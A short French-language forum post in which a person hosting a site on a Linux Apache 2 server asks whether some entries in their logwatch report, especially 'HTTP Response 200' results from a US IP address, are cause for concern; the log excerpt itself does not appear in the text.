Bonjour à tous,

j'heberge depuis quelques mois un site sur un serveur en linux avec apache 2.
Ce matin, en regardant mon logwatch, je vois ceci :

Etant de nature suspiscieuse, ai je des raisons de m'inquiéter, en particulier pour les renvois "HTTP Response 200" ?


Merci d'avance pour vos réponses, qui me rassureront je l'espère..

ps : l'IP est pingable et se situe au USA...
